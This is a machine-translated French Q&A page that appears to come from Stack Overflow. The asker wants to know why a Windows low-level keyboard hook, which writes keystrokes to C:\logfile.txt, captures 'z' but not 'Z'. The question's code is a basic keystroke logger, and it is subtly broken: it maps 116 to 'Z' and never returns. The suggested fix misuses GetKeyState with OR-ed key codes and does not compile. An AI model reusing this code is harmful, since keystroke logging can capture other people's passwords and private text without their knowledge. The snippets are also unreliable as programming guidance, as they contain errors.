Crochet de clavier & # 8230; ne pas obtenir les caractères minuscules ou majuscules
-
19-08-2019 - |
Question
La fonction ci-dessous enregistre le "0", "z". et le "1" ok ... mais ce n'est pas en train de capturer le "Z" (shift-z) ... toute aide serait appréciée ...
__declspec(dllexport)
LRESULT CALLBACK HookProc (UINT nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYUP))
{
// This Struct gets infos on typed key
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Bytes written counter for WriteFile()
DWORD Counter;
wchar_t Logger[1];
switch (hookstruct.vkCode)
{
case 060: Logger[0] = L'0'; break;
case 061: Logger[0] = L'1'; break;
case 90: Logger[0] = L'z'; break;
case 116: Logger[0] = L'Z'; break;
}
// Opening of a logfile. Creating it if it does not exists
HANDLE hFile = CreateFile(L"C:\\logfile.txt", GENERIC_WRITE,
FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// put the file pointer to the end
SetFilePointer(hFile,NULL,NULL,FILE_END);
// Write the hFile typed in logfile
WriteFile(hFile,&Logger,sizeof(Logger),&Counter,NULL);
//WriteFile(hFile,&hookstruct.vkCode,sizeof(hookstruct.vkCode),&Counter,NULL);
// Close the file
CloseHandle(hFile);
}
}
La solution
Le clavier n'envoie pas de caractères . Il envoie des touches . Que vous tapiez z ou Z , vous appuyez toujours sur la même touche et cette touche a le même code VK à chaque fois.
Vous devriez également recevoir une notification lorsque la touche Maj est enfoncée ou relâchée. Vous pouvez utiliser ces notifications pour traduire les séquences de touches en caractères. L'état Caps-Lock sera également pertinent pour cela. Vous pouvez également être préoccupé par les clés mortes.
Vous pouvez vérifier si la touche Shift est enfoncée. GetAsyncKeyState
vous indiquera l'état de la clé maintenant , et GetKeyState
vous indiquera l'état de la clé à partir du dernier message supprimé de la file d'attente des messages.
Autres conseils
Il n'y a pas de code de clé virtuelle pour Z. Essayez quelque chose comme ça:
case 90:
if(GetKeyState(VK_LSHIFT|VK_RSHIFT)
Logger[0] = L'Z'; break;
else
Logger[0] = L'z'; break;